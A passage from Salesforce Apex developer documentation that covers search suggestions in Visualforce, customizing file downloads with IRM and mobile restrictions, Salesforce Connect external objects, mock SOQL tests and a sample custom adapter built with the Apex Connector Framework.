            Title: {!w.SObject['Title']}
        </apex:panelGroup>
        <apex:panelGroup rendered="{!objectType!='KnowledgeArticleVersion'}">

            Name: {!w.SObject['Name']}
        </apex:panelGroup>
        <hr />
    </apex:dataList>
</apex:pageBlockSection>
<apex:pageBlockSection id="noresults" rendered="{!results.size==0}">
    No results
</apex:pageBlockSection>
<apex:pageBlockSection rendered="{!LEN(searchText)>0}">
    Search text: {!searchText}
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>

```

This code is the custom Visualforce controller for the page:

```

public class SuggestionDemoController {

    public String searchText;
    public String language = 'en_US';
    public String objectType = 'Account';
}

```

```
public Integer nbResult = 5;
public Transient Search.SuggestionResults suggestionResults;

public String getSearchText() {
    return searchText;
}

public void setSearchText(String s) {
    searchText = s;
}

public Integer getNbResult() {
    return nbResult;
}

public void setNbResult(Integer n) {
    nbResult = n;
}

public String getLanguage() {
    return language;
}

public void setLanguage(String language) {
    this.language = language;
}

public String getObjectType() {
    return objectType;
}

public void setObjectType(String objectType) {
    this.objectType = objectType;
}

public List<Search.SuggestionResult> getResults() {
    if (suggestionResults == null) {
        return new List<Search.SuggestionResult>();
    }

    return suggestionResults.getSuggestionResults();
}

public Boolean getHasMoreResults() {
    if (suggestionResults == null) {
        return false;
    }
    return suggestionResults.hasMoreResults();
}

public PageReference doSuggest() {
    nbResult = 5;
    suggestAccounts();
    return null;
}
```

```

    }

    public PageReference doSuggestMore() {
        nbResult += 5;
        suggestAccounts();
        return null;
    }

    private void suggestAccounts() {
        Search.SuggestionOption options = new Search.SuggestionOption();
        Search.KnowledgeSuggestionFilter filters = new Search.KnowledgeSuggestionFilter();

        if (objectType=='KnowledgeArticleVersion') {
            filters.setLanguage(language);
            filters.setPublishStatus('Online');
        }
        options.setFilter(filters);
        options.setLimit(nbResult);
        suggestionResults = Search.suggest(searchText, objectType, options);
    }
}

```

SEE ALSO:

[Search.suggest\(searchQuery,sObjectType,suggestions\)](#)

Salesforce Files

Use Apex to customize the behavior of Salesforce Files.

[Customize File Downloads](#)

You can customize the behavior of files when users attempt to download them using an Apex callback. ContentVersion supports modified file behavior, such as antivirus scanning and information rights management (IRM), after the download operation. File download customization is available in API version 39.0 and later.

[Custom File Download Examples](#)

You can use Apex to customize the behavior of files upon attempted download. These examples assume that only one file is being downloaded. File download customization is available in API version 39.0 and later.

Customize File Downloads

You can customize the behavior of files when users attempt to download them using an Apex callback. ContentVersion supports modified file behavior, such as antivirus scanning and information rights management (IRM), after the download operation. File download customization is available in API version 39.0 and later.

Customization code runs before download and determines whether the download can proceed.

The `Sfc` namespace contains Apex objects for customizing the behavior of Salesforce Files before they are downloaded. `ContentDownloadHandlerFactory` provides an interface for customizing file downloads. The `ContentDownloadHandler` class defines values related to whether download is allowed, and what to do otherwise. The `ContentDownloadContext` enum is the context in which the download takes place.

You can use Apex to customize multiple-file downloads from the Content tab in Salesforce Classic. The Apex function parameter `List<ID>` handles a list of `ContentVersion` IDs.

Customization also works on content packs and content deliveries. `List<ID>` is a list of the version IDs in a `ContentPack`. Setting `isDownloadAllowed = false` on a multi-file or `ContentPack` download causes the entire download to fail. You can pass a list of the problem files back to an error page via URL parameters in `redirectUrl`.

Example:

- Prevent a file from downloading based on the user profile, device being used, or file type and size.
- Apply IRM control to track information, such as the number of times a file has been downloaded.
- Flag suspicious files before download, and redirect them for antivirus scanning.

Flow Execution

When a download is triggered either from the UI, Connect API, or an sObject call retrieving `ContentVersion.VersionData`, implementations of the `Sfc.ContentDownloadHandlerFactory` are looked up. If no implementation is found, download proceeds. Otherwise, the user is redirected to what has been defined in the `ContentDownloadHandler#redirectUrl` property. If several implementations are found, they are cascade handled (ordered by name) and the first one for which the download isn't allowed is considered.



Note: If a SOAP API operation triggers a download, it goes through the Apex class that checks whether the download is allowed. If a download isn't allowed, a redirection can't be handled, and an exception containing an error message is returned instead.

Custom File Download Examples

You can use Apex to customize the behavior of files upon attempted download. These examples assume that only one file is being downloaded. File download customization is available in API version 39.0 and later.



Example: This example demonstrates a system that requires downloads to go through IRM control for some users. For a Modify All Data (MAD) user who's allowed to download files, and whose user ID is `005xx`:

```
// Allow customization of the content Download experience
public class ContentDownloadHandlerFactoryImpl implements
Sfc.ContentDownloadHandlerFactory {

    public Sfc.ContentDownloadHandler getContentDownloadHandler(List<ID> ids,
Sfc.ContentDownloadContext context) {
        Sfc.ContentDownloadHandler contentDownloadHandler = new Sfc.ContentDownloadHandler();

        if (UserInfo.getUserId() == '005xx') {
            contentDownloadHandler.isDownloadAllowed = true;
            return contentDownloadHandler;
        }

        contentDownloadHandler.isDownloadAllowed = false;
        contentDownloadHandler.downloadErrorMessage = 'This file needs to be IRM controlled.
You're not allowed to download it';
        contentDownloadHandler.redirectUrl = '/apex/IRMControl?Id='+ids.get(0);
        return contentDownloadHandler;
    }
}
```

 **Note:** To refer to a MAD user profile, you can use `UserInfo.getProfileId()` instead of `UserInfo.getUserId()`.

In this example, `IRMControl` is a Visualforce page created for displaying a link to download a file from the IRM system. You need a controller for this page that calls your IRM system. As it's processing the file, it gives an endpoint to download the file when it's controlled. Your IRM system uses the sObject API to get the `VersionData` of this `ContentVersion`. Therefore, the IRM system needs the `VersionID` and must retrieve the `VersionData` using the MAD user.

Your IRM system is at `http://irmsystem` and is expecting the `VersionID` as a query parameter. The IRM system returns a JSON response with the download endpoint in a `downloadEndpoint` value.

```
public class IRMController {

    private String downloadEndpoint;

    public IRMController() {
        downloadEndpoint = '';
    }

    public void applyIrmControl() {
        String versionId = ApexPages.currentPage().getParameters().get('id');
        Http h = new Http();

        //Instantiate a new HTTP request, specify the method (GET) as well as the endpoint

        HttpRequest req = new HttpRequest();
        req.setEndpoint('http://irmsystem?versionId=' + versionId);
        req.setMethod('GET');

        // Send the request, and retrieve a response
        HttpResponse r = h.send(req);
        JSONParser parser = JSON.createParser(r.getBody());
        while (parser.nextToken() != null) {
            if ((parser.getCurrentToken() == JSONTOKEN.FIELD_NAME) &&
                (parser.getText() == 'downloadEndpoint')) {
                parser.nextToken();
                downloadEndpoint = parser.getText();
                break;
            }
        }
    }

    public String getDownloadEndpoint() {
        return downloadEndpoint;
    }

}
```

 **Example:** The following example creates a class that implements the `ContentDownloadHandlerFactory` interface and returns a download handler that prevents downloading a file to a mobile device.

```
// Allow customization of the content Download experience
public class ContentDownloadHandlerFactoryImpl implements
    Sfc.ContentDownloadHandlerFactory {
```

```

public Sfc.ContentDownloadHandler getContentDownloadHandler(List<ID> ids,
Sfc.ContentDownloadContext context) {
    Sfc.ContentDownloadHandler contentDownloadHandler = new Sfc.ContentDownloadHandler();

    if(context == Sfc.ContentDownloadContext.MOBILE) {
        contentDownloadHandler.isDownloadAllowed = false;
        contentDownloadHandler.downloadErrorMessage = 'Downloading a file from a mobile
device isn't allowed.';
        return contentDownloadHandler;
    }
    contentDownloadHandler.isDownloadAllowed = true;
    return contentDownloadHandler;
}

```



Example: You can also prevent downloading a file from a mobile device and require that a file must go through IRM control.

```

// Allow customization of the content Download experience
public class ContentDownloadHandlerFactoryImpl implements
Sfc.ContentDownloadHandlerFactory {

    public Sfc.ContentDownloadHandler getContentDownloadHandler(List<ID> ids,
Sfc.ContentDownloadContext context) {
        Sfc.ContentDownloadHandler contentDownloadHandler = new Sfc.ContentDownloadHandler();

        if(UserInfo.getUserId() == '005xx000001SvogAAC') {
            contentDownloadHandler.isDownloadAllowed = true;
            return contentDownloadHandler;
        }
        if(context == Sfc.ContentDownloadContext.MOBILE) {
            contentDownloadHandler.isDownloadAllowed = false;
            contentDownloadHandler.downloadErrorMessage = 'Downloading a file from a mobile
device isn't allowed.';
            return contentDownloadHandler;
        }

        contentDownloadHandler.isDownloadAllowed = false;
        contentDownloadHandler.downloadErrorMessage = 'This file needs to be IRM controlled.
You're not allowed to download it';
        contentDownloadHandler.redirectUrl = '/apex/IRMControl?Id='+id.get(0);
        return contentDownloadHandler;
    }
}

```

Salesforce Connect

Apex code can access external object data via any Salesforce Connect adapter. Use the Apex Connector Framework to develop a custom adapter for Salesforce Connect. The custom adapter can retrieve data from external systems and synthesize data locally. Salesforce Connect represents that data in Salesforce external objects, enabling users and the Lightning Platform to seamlessly interact with data that's stored outside the Salesforce org.

[Apex Considerations for Salesforce Connect External Objects](#)

Apex code can access external object data via any Salesforce Connect adapter, but some requirements and limitations apply.

[Writable External Objects](#)

By default, external objects are read only, but you can make them writable. Doing so lets Salesforce users and APIs create, update, and delete data that's stored outside the org by interacting with external objects within the org. For example, users can see all the orders that reside in an SAP system that are associated with an account in Salesforce. Then, without leaving the Salesforce user interface, they can place a new order or route an existing order. The relevant data is automatically created or updated in the SAP system.

[External Change Data Capture Packaging and Testing](#)

You can distribute External Change Data Capture components in managed packages, including a framework for testing your Apex triggers. Special behaviors and limitations apply to packaging and package installation.

[Mock SOQL Tests for External Objects](#)

You can mock SOQL query responses for external objects in Apex testing by using SOQL stub methods and a new test class. Use basic and joined SOQL queries against external objects and return mock records in a testing context.

[Get Started with the Apex Connector Framework](#)

To get started with your first custom adapter for Salesforce Connect, create two Apex classes: one that extends the `DataSource.Connection` class, and one that extends the `DataSource.Provider` class.

[Key Concepts About the Apex Connector Framework](#)

The `DataSource` namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to develop a custom adapter for Salesforce Connect. Then connect your Salesforce org to any data anywhere via the Salesforce Connect custom adapter.

[Considerations for the Apex Connector Framework](#)

Understand the limits and considerations for creating Salesforce Connect custom adapters with the Apex Connector Framework.

[Apex Connector Framework Examples](#)

These examples illustrate how to use the Apex Connector Framework to create custom adapters for Salesforce Connect.

SEE ALSO:

[Salesforce Help: Access External Data With Salesforce Connect](#)

[Salesforce Connect Learning Map](#)

Apex Considerations for Salesforce Connect External Objects

Apex code can access external object data via any Salesforce Connect adapter, but some requirements and limitations apply.

- These features aren't available for external objects.
 - Apex-managed sharing
 - Apex triggers (However, you can create triggers on external change data capture events from OData 4.0 connections.)
- When developers use Apex to manipulate external object records, asynchronous timing and an active background queue minimize potential save conflicts. A specialized set of Apex methods and keywords handles potential timing issues with write execution. Apex also lets you retrieve the results of delete and upsert operations. Use the `BackgroundOperation` object to monitor job progress for write operations via the API or SOQL.
- `Database.insertAsync()` methods can't be executed in the context of a portal user, even when the portal user is a community member. To add external object records via Apex, use `Database.insertImmediate()` methods.

Important: When running an iterable batch Apex job against an external data source, the external records are stored in Salesforce while the job is running. The data is removed from storage when the job completes, whether or not the job was successful. No external data is stored during batch Apex jobs that use `Database.QueryLocator`.

- If you use batch Apex with `Database.QueryLocator` to access external objects via an OData adapter for Salesforce Connect:
 - Enable Request Row Counts on the external data source, and each response from the external system must include the total row count of the result set.
 - We recommend enabling Server Driven Pagination on the external data source and having the external system determine page sizes and batch boundaries for large result sets. Typically, server-driven paging can adjust batch boundaries to accommodate changing datasets more effectively than client-driven paging.

When Server Driven Pagination is disabled on the external data source, the OData adapter controls the paging behavior (client-driven). If external object records are added to the external system while a job runs, other records can be processed twice. If external object records are deleted from the external system while a job runs, other records can be skipped.

 - When Server Driven Pagination is enabled on the external data source, the batch size at runtime is the smaller of the following:
 - Batch size specified in the `scope` parameter of `Database.executeBatch`. Default is 200 records.
 - Page size returned by the external system. We recommend that you set up your external system to return page sizes of 200 or fewer records.

SEE ALSO:

[Use Batch Apex](#)

[Salesforce Help: Client-driven and Server-driven Paging for Salesforce Connect—OData 2.0 and 4.0 Adapters](#)

[Salesforce Help: Define an External Data Source for Salesforce Connect—OData 2.0 or 4.0 Adapter](#)

Writable External Objects

By default, external objects are read only, but you can make them writable. Doing so lets Salesforce users and APIs create, update, and delete data that's stored outside the org by interacting with external objects within the org. For example, users can see all the orders that reside in an SAP system that are associated with an account in Salesforce. Then, without leaving the Salesforce user interface, they can place a new order or route an existing order. The relevant data is automatically created or updated in the SAP system.

Access to external data depends on the connections between Salesforce and the external systems that store the data. Network latency and the availability of the external systems can introduce timing issues with Apex write or delete operations on external objects.

Because of the complexity of these connections, Apex can't execute standard `insert()`, `update()`, or `create()` operations on external objects. Instead, Apex provides a specialized set of database methods and keywords to work around potential issues with write execution. DML insert, update, create, and delete operations on external objects are either asynchronous or executed when specific criteria are met.

This example uses the `Database.insertAsync()` method to insert a new order into a database table asynchronously. It returns a `SaveResult` object that contains a unique identifier for the insert job.

```
public void createOrder () {
    SalesOrder__x order = new SalesOrder__x ();
    Database.SaveResult sr = Database.insertAsync (order);
    if (! sr.isSuccess ()) {
        String locator = Database.getAsyncLocator ( sr );
        completeOrderCreation(locator);
    }
}
```

 **Note:** Writes performed on external objects through the Salesforce user interface or the API are synchronous and work the same way as for standard and custom objects.

You can perform the following DML operations on external objects, either asynchronously or based on criteria: insert records, update records, upsert records, or delete records. Use classes in the `DataSource` namespace to get the unique identifiers for asynchronous jobs, or to retrieve results lists for upsert, delete, or save operations.

When you initiate an Apex method on an external object, a job is scheduled and placed in the background jobs queue. The `BackgroundOperation` object lets you view the job status for write operations via the API or SOQL. Monitor job progress and related errors in the org, extract statistics, process batch jobs, or see how many errors occur in a specified time period.

For usage information and examples, see [Database Namespace](#) and [DataSource Namespace](#).

SEE ALSO:

[Salesforce Help: Writable External Objects Considerations for Salesforce Connect—All Adapters](#)

External Change Data Capture Packaging and Testing

You can distribute External Change Data Capture components in managed packages, including a framework for testing your Apex triggers. Special behaviors and limitations apply to packaging and package installation.

- Include External Change Data Tracking components in a managed package by selecting your test from the Apex Class Component Type list. The trigger, test, external data source, external object, and other related assets are brought into the package for distribution.
- Certificates aren't packageable. If you package an external data source that specifies a certificate, make sure that the subscriber org has a valid certificate with the same name.

To help you test your External Change Data Capture–triggered Apex classes, here is a unit test code example of a trigger reacting to a simulated external change.

Example Trigger

```
trigger OnExternalProductChangeEventForAudit on Products__ChangeEvent (after insert) {
    if (Trigger.new.size() != 1) return;
    for (Products__ChangeEvent event: Trigger.new) {
        Product_Audit__c audit = new Product_Audit__c();
        audit.Name = 'ProductChangeOn' + event.ExternalId;
        audit.Change_Type__c = event.ChangeEventHeader.getChangeType();
        audit.Audit_Price__c = event.Price__c;
        audit.Product_Name__c = event.Name__c;
        insert(audit);
    }
}
```

Apex Test

```
@isTest
public class testOnExternalProductChangeEventForAudit {
    static testMethod void testExternalProductChangeTrigger() {
        // Create Change Event
        Products__ChangeEvent event = new Products__ChangeEvent();
        // Set Change Event Header Fields
        EventBus.ChangeEventHeader header = new EventBus.ChangeEventHeader();
        header.changeType='CREATE';
        header.entityName='Products__x';
        header.changeOrigin='here';
    }
}
```

```

        header.transactionKey = 'some';
        header.commitUser = 'me';
        event.changeEventHeader = header;
        event.put('ExternalId', 'ParentExternalId');
        event.put('Price__c', 5500);
        event.put('Name__c', 'Coat');
        // Publish the event to the EventBus
        EventBus.publish(event);
        Test.getEventBus().deliver();
        // Perform assertion that the trigger was run
        Product_Audit__c audit = [SELECT name, Audit_Price__c, Product_Name__c FROM
Product_Audit__c WHERE name = : 'ProductChangeOn'+ event.ExternalId LIMIT 1];
        System.assertEquals('ProductChangeOn'+ event.ExternalId, audit.Name);
        System.assertEquals(5500, audit.Audit_Price__c);
        System.assertEquals('Coat', audit.Product_Name__c);
    }
}

```

Mock SOQL Tests for External Objects

You can mock SOQL query responses for external objects in Apex testing by using SOQL stub methods and a new test class. Use basic and joined SOQL queries against external objects and return mock records in a testing context.

Create mock test classes by extending the new `System.SqlStubProvider` class and overriding the `handleSqlQuery()` class method. Create external object records using either `Test.createStubQueryRow()` or `Test.createStubQueryRows()`. Register the mock provider in the test using `Test.createSqlStub()` and execute the test code.

 **Note:** Apex governor limits apply to the stubbed records.

The SOQL query must be against an external object, either directly with a FROM clause or via a subquery. These features aren't allowed within a stub implementation.

- SOQL
- SOSL
- Callouts
- Future methods
- Queueable Jobs
- Batch Jobs
- DML
- Platform events

This example shows a mock test class for the `GithubIssueTest` class with joined and basic queries.

```

/**
 * Test class that utilizes the SqlStubProvider classes.
 * Each test sets the appropriate SqlStubProvider
 * and runs validation against the mocked query results.
 */

@isTest
public class GithubIssueTest {
    @isTest

```

```

static void testGithubIssueQuery() {
    QueryIssueUtil queryIssueUtil = new QueryIssueUtil();
    SObjectType type = queryIssueUtil.getSObjectTypeForDynamicSoql('GithubIssues__x');

    Test.createSqlStub(type, new IssueStubProvider());
    Test.startTest();
    Assert.isTrue(Test.isSqlStubDefined(type));
    Assert.isTrue(queryIssueUtil.queryGithubIssuesAndCheckForId());
    Assert.areEqual(Limits.getQueries(), 1);
    Assert.areEqual(Limits.getQueryRows(), 1);
    Assert.areEqual(Limits.getAggregateQueries(), 0);
    Assert.isTrue(queryIssueUtil.queryGithubIssuesAndVerifyResultSize(1));
    Assert.areEqual(Limits.getQueries(), 2);
    Assert.areEqual(Limits.getQueryRows(), 2);
    Assert.areEqual(Limits.getAggregateQueries(), 0);
    Test.stopTest();
}

@isTest
static void testIssueToCommentJoinQuery() {
    QueryIssueUtil queryIssueUtil = new QueryIssueUtil();
    Test.createSqlStub(GithubIssues__x.SObjectType, new IssueCommentJoinStubProvider());

    Test.startTest();
    Assert.isTrue(Test.isSqlStubDefined(GithubIssues__x.SObjectType));
    Assert.isTrue(queryIssueUtil.queryIssueToCommentJoinAndCheckForCommentId());
    Assert.areEqual(Limits.getQueries(), 1);
    Assert.areEqual(Limits.getQueryRows(), 3);
    Assert.areEqual(Limits.getAggregateQueries(), 1);
    Assert.isTrue(queryIssueUtil.queryIssueToCommentJoinAndVerifyResultSize(1, 2));
    Assert.areEqual(Limits.getQueries(), 2);
    Assert.areEqual(Limits.getQueryRows(), 6);
    Assert.areEqual(Limits.getAggregateQueries(), 2);
    Test.stopTest();
}
}

```

```

/**
 *   SqlStubProvider class that returns a mocked query result
 *   for joined queries between the Github Issues object and
 *   the associated Comments object.
 */

public class IssueCommentJoinStubProvider extends SqlStubProvider {
    public override List<SObject> handleSqlQuery(SObjectType objectType, String rawQuery,
        Map<String, Object> binds) {
        if (objectType.equals(GithubIssues__x.SObjectType)) {
            Assert.areEqual(binds.size(), 0);

            List<GithubIssues__x> issues = new List<GithubIssues__x>();
            List<Map<String, Object>> commentMaps = new List<Map<String, Object>>();

            Map<String, Object> comment1 = new Map<String, Object> {
                'Id' => 'x09xx000000brk9AAA'
            };

```



```

    };
    Map<String, Object> comment2 = new Map<String, Object> {
        'Id' => 'x09xx000001brk9AAA'
    };

    commentMaps.add(comment1);
    commentMaps.add(comment2);

    List<IssueComments__x> comments = (List<IssueComments__x>)
Test.createStubQueryRows(IssueComments__x.SObjectType, commentMaps);

    Map<String, Object> issueMap = new Map<String, Object> {
        'Id' => 'x08xx000002HNZ6AAO',
        'Title__c' => 'Sample Issue 1',
        'IssueComments__r' => comments
    };

    GithubIssues__x obj = (GithubIssues__x) Test.createStubQueryRow(sObjectType,
issueMap);

    issues.add(obj);
    return issues;
}
return null;
}
}

```

```

/**
 *   SqlStubProvider class that returns a mocked query result
 *   for queries against the Github Issues object.
 */

public class IssueStubProvider extends SqlStubProvider {
    public override List<SObject> handleSqlQuery(SObjectType sObjectType, String rawQuery,
Map<String, Object> binds) {
        if (sObjectType.equals(GithubIssues__x.SObjectType)) {
            Assert.areEqual(binds.size(), 1);
            Assert.areEqual(binds.get('tmpVar1'), 'x08xx000002HNZ6AAO');

            List<SObject> objs = new List<SObject>();
            Map<String, Object> individualMap = new Map<String, Object> {
                'Id' => 'x08xx000002HNZ6AAO'
            };
            GithubIssues__x obj = (GithubIssues__x) Test.createStubQueryRow(sObjectType,
individualMap);
            objs.add(obj);
            return objs;
        }
        return null;
    }
}

```

```

/**
 *   Utility class that runs queries to be mocked

```

```

*    in the Apex tests.
**/

public class QueryIssueUtil {
    public boolean queryGithubIssuesAndCheckForId() {
        // BINDS WITH USER_MODE DYNAMIC QUERY
        Map<String, Object> binds = new Map<String, Object>{'tmpVar1' =>
'x08xx000002HNZ6AAO'};
        List<GithubIssues__x> issues = Database.queryWithBinds('SELECT Id FROM
GithubIssues__x WHERE Id = :tmpVar1', binds, AccessLevel.USER_MODE);

        for (GithubIssues__x issue : issues) {
            if (issue.Id.equals('x08xx000002HNZ6AAO')) {
                return true;
            }
        }
        return false;
    }

    public boolean queryGithubIssuesAndVerifyResultSize(Integer size) {
        // BINDS WITH SYSTEM_MODE STATIC QUERY
        String issueId = 'x08xx000002HNZ6AAO';
        List<GithubIssues__x> issues = [SELECT Id FROM GithubIssues__x WHERE Id = :issueId];

        if(issues.size() == size) {
            return true;
        }
        return false;
    }

    public boolean queryIssueToCommentJoinAndCheckForCommentId() {
        // DYNAMIC QUERY
        List<GithubIssues__x> issues = Database.query('SELECT Id, Title__c, (SELECT Id
FROM IssueComments__r) FROM GithubIssues__x WHERE Id = \'0030000000000000\');

        for (GithubIssues__x issue : issues) {
            List<IssueComments__x> comments = issue.IssueComments__r;
            System.debug(comments);
            if(!comments.get(0).Id.equals('x09xx000000brk9AAA') &&
!comments.get(1).Id.equals('x09xx000001brk9AAA'))return false;
        }
        return true;
    }

    public boolean queryIssueToCommentJoinAndVerifyResultSize(Integer parentSize, Integer
childSize) {
        // STATIC QUERY
        List<GithubIssues__x> issues = [SELECT Id, Title__c, (SELECT Id FROM
IssueComments__r) FROM GithubIssues__x WHERE Id = '0030000000000000'];

        if(issues.size() == parentSize && issues.get(0).IssueComments__r.size() == childSize)
        {
            return true;
        }
    }
}

```

```

        }
        return false;
    }

    public SObjectType getSObjectTypeForDynamicSql(String name) {
        Schema.DescribeSObjectResult[] descResult = Schema.describeSObjects(new
List<String>{name});
        SObjectType type = descResult.get(0).getSObjectType();
        return type;
    }
}

```

Get Started with the Apex Connector Framework

To get started with your first custom adapter for Salesforce Connect, create two Apex classes: one that extends the `DataSource.Connection` class, and one that extends the `DataSource.Provider` class.



Note: The `DataSource.Connection` class requires a Salesforce Connect add-on license. For more information, see [Salesforce Connect Adapters Included per Add-On License](#).

Let's step through the code of a sample custom adapter.

1. [Create a Sample DataSource.Connection Class](#)

First, create a `DataSource.Connection` class to enable Salesforce to obtain the external system's schema and to handle queries and searches of the external data.

2. [Create a Sample DataSource.Provider Class](#)

Now you need a class that extends and overrides a few methods in `DataSource.Provider`.

3. [Set Up Salesforce Connect to Use Your Custom Adapter](#)

After you create your `DataSource.Connection` and `DataSource.Provider` classes, the Salesforce Connect custom adapter becomes available in Setup.

Create a Sample DataSource.Connection Class

First, create a `DataSource.Connection` class to enable Salesforce to obtain the external system's schema and to handle queries and searches of the external data.

```

global class SampleDataSourceConnection
    extends DataSource.Connection {
    global SampleDataSourceConnection(DataSource.ConnectionParams
        connectionParams) {
    }
    // Add implementation of abstract methods
    // ...
}

```

The `DataSource.Connection` class contains these methods.

- [query](#)
- [search](#)
- [sync](#)
- [upsertRows](#)
- [deleteRows](#)

sync

The `sync()` method is invoked when an administrator clicks the **Validate and Sync** button on the external data source detail page. It returns information that describes the structural metadata on the external system.

 **Note:** Changing the `sync` method on the `DataSource.Connection` class doesn't automatically resync any external objects.

```
// ...
override global List<DataSource.Table> sync() {
    List<DataSource.Table> tables =
        new List<DataSource.Table>();
    List<DataSource.Column> columns;
    columns = new List<DataSource.Column>();
    columns.add(DataSource.Column.text('Name', 255));
    columns.add(DataSource.Column.text('ExternalId', 255));
    columns.add(DataSource.Column.url('DisplayUrl'));
    tables.add(DataSource.Table.get('Sample', 'Title',
        columns));
    return tables;
}
// ...
```

query

The `query` method is invoked when a SOQL query is executed on an external object. A SOQL query is automatically generated and executed when a user opens an external object's list view or detail page in Salesforce. The `DataSource.QueryContext` is always only for a single table.

This sample custom adapter uses a helper method in the `DataSource.QueryUtils` class to filter and sort the results based on the `WHERE` and `ORDER BY` clauses in the SOQL query.

The `DataSource.QueryUtils` class and its helper methods can process query results locally within your Salesforce org. This class is provided for your convenience to simplify the development of your Salesforce Connect custom adapter for initial tests. However, the `DataSource.QueryUtils` class and its methods aren't supported for use in production environments that use callouts to retrieve data from external systems. Complete the filtering and sorting on the external system before sending the query results to Salesforce. When possible, use server-driven paging or another technique to have the external system determine the appropriate data subsets according to the limit and offset clauses in the query.

```
// ...
override global DataSource.TableResult query(
    DataSource.QueryContext context) {
    if (context.tableSelection.columnsSelected.size() == 1 &&
        context.tableSelection.columnsSelected.get(0).aggregation ==
            DataSource.QueryAggregation.COUNT) {
        List<Map<String, Object>> rows = getRows(context);
        List<Map<String, Object>> response =
            DataSource.QueryUtils.filter(context, getRows(context));
        List<Map<String, Object>> countResponse =
            new List<Map<String, Object>>();
        Map<String, Object> countRow =
            new Map<String, Object>();
        countRow.put(
            context.tableSelection.columnsSelected.get(0).columnName,
            response.size());
    }
```

```

        countResponse.add(countRow);
        return DataSource.TableResult.get(context,
            countResponse);
    } else {
        List<Map<String, Object>> filteredRows =
            DataSource.QueryUtils.filter(context, getRows(context));
        List<Map<String, Object>> sortedRows =
            DataSource.QueryUtils.sort(context, filteredRows);
        List<Map<String, Object>> limitedRows =
            DataSource.QueryUtils.applyLimitAndOffset(context,
                sortedRows);
        return DataSource.TableResult.get(context, limitedRows);
    }
}
// ...

```

search

The `search` method is invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also searches external objects. Because search can be federated over multiple objects, the `DataSource.SearchContext` can have multiple tables selected. In this example, however, the custom adapter knows about only one table.

```

// ...
@Override global List<DataSource.TableResult> search(
    DataSource.SearchContext context) {
    List<DataSource.TableResult> results =
        new List<DataSource.TableResult>();
    for (DataSource.TableSelection tableSelection :
        context.tableSelections) {
        results.add(DataSource.TableResult.get(tableSelection,
            getRows(context)));
    }
    return results;
}
// ...

```

The following is the `getRows` helper method that the search sample calls to get row values from the external system. The `getRows` method makes use of other helper methods:

- `makeGetCallout` makes a callout to the external system.
- `foundRow` populates a row based on values from the callout result. The `foundRow` method is used to make any modifications to the returned field values, such as changing a field name or modifying a field value.

These methods aren't included in this snippet but are available in the full example included in [Connection Class](#). Typically, the filter from `SearchContext` or `QueryContext` would be used to reduce the result set, but for simplicity this example doesn't make use of the context object.

```

// ...
// Helper method to get record values from the external system for the Sample table.
private List<Map<String, Object>> getRows () {
    // Get row field values for the Sample table from the external system via a callout.

    HttpResponse response = makeGetCallout();
    // Parse the JSON response and populate the rows.

```

```

Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(
    response.getBody());
Map<String, Object> error = (Map<String, Object>)m.get('error');
if (error != null) {
    throwException(string.valueOf(error.get('message')));
}
List<Map<String, Object>> rows = new List<Map<String, Object>>();
List<Object> jsonRows = (List<Object>)m.get('value');
if (jsonRows == null) {
    rows.add(foundRow(m));
} else {
    for (Object jsonRow : jsonRows) {
        Map<String, Object> row = (Map<String, Object>)jsonRow;
        rows.add(foundRow(row));
    }
}
return rows;
}
// ...

```

upsertRows

The `upsertRows` method is invoked when external object records are created or updated. You can create or update external object records through the Salesforce user interface or DML. The following example provides a sample implementation for the `upsertRows` method. The example uses the passed-in `UpsertContext` to determine what table was selected and performs the upsert only if the name of the selected table is `Sample`. The upsert operation is broken up into either an insert of a new record or an update of an existing record. These operations are performed in the external system using callouts. An array of `DataSource.UpsertResult` is populated from the results obtained from the callout responses. Note that because a callout is made for each row, this example might hit the Apex callouts limit.

```

// ...
global override List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext
    context) {
    if (context.tableSelected == 'Sample') {
        List<DataSource.UpsertResult> results = new List<DataSource.UpsertResult>();
        List<Map<String, Object>> rows = context.rows;

        for (Map<String, Object> row : rows){
            // Make a callout to insert or update records in the external system.
            HttpResponse response;
            // Determine whether to insert or update a record.
            if (row.get('ExternalId') == null){
                // Send a POST HTTP request to insert new external record.
                // Make an Apex callout and get HttpResponse.
                response = makePostCallout(
                    '{"name":"' + row.get('Name') + '","ExternalId":"' +
                    row.get('ExternalId') + '"'});
            }
            else {
                // Send a PUT HTTP request to update an existing external record.
                // Make an Apex callout and get HttpResponse.
                response = makePutCallout(
                    '{"name":"' + row.get('Name') + '","ExternalId":"' +

```

```

        row.get('ExternalId') + '"',
        String.valueOf(row.get('ExternalId')));
    }

    // Check the returned response.
    // Deserialize the response.
    Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(
        response.getBody());
    if (response.getStatusCode() == 200){
        results.add(DataSource.UpsertResult.success(
            String.valueOf(m.get('id'))));
    }
    else {
        results.add(DataSource.UpsertResult.failure(
            String.valueOf(m.get('id')),
            'The callout resulted in an error: ' +
            response.getStatusCode()));
    }
}
return results;
}
return null;
}
// ...

```

deleteRows

The `deleteRows` method is invoked when external object records are deleted. You can delete external object records through the Salesforce user interface or DML. The following example provides a sample implementation for the `deleteRows` method. The example uses the passed-in `DeleteContext` to determine what table was selected and performs the deletion only if the name of the selected table is `Sample`. The deletion is performed in the external system using callouts for each external ID. An array of `DataSource.DeleteResult` is populated from the results obtained from the callout responses. Note that because a callout is made for each ID, this example might hit the Apex callouts limit.

```

// ...
global override List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext
    context) {
    if (context.tableSelected == 'Sample'){
        List<DataSource.DeleteResult> results = new List<DataSource.DeleteResult>();
        for (String externalId : context.externalIds){
            HttpResponse response = makeDeleteCallout(externalId);
            if (response.getStatusCode() == 200){
                results.add(DataSource.DeleteResult.success(externalId));
            }
            else {
                results.add(DataSource.DeleteResult.failure(externalId,
                    'Callout delete error:'
                    + response.getBody()));
            }
        }
        return results;
    }
    return null;
}

```

```
}
// ...
```

SEE ALSO:

[Execution Governors and Limits](#)

[Apex Reference Guide: Connection Class](#)

[Filters in the Apex Connector Framework](#)

Create a Sample DataSource.Provider Class

Now you need a class that extends and overrides a few methods in `DataSource.Provider`.

Your `DataSource.Provider` class informs Salesforce of the authentication and functional capabilities that are supported by or required to connect to the external system.

```
global class SampleDataSourceProvider extends DataSource.Provider {
```

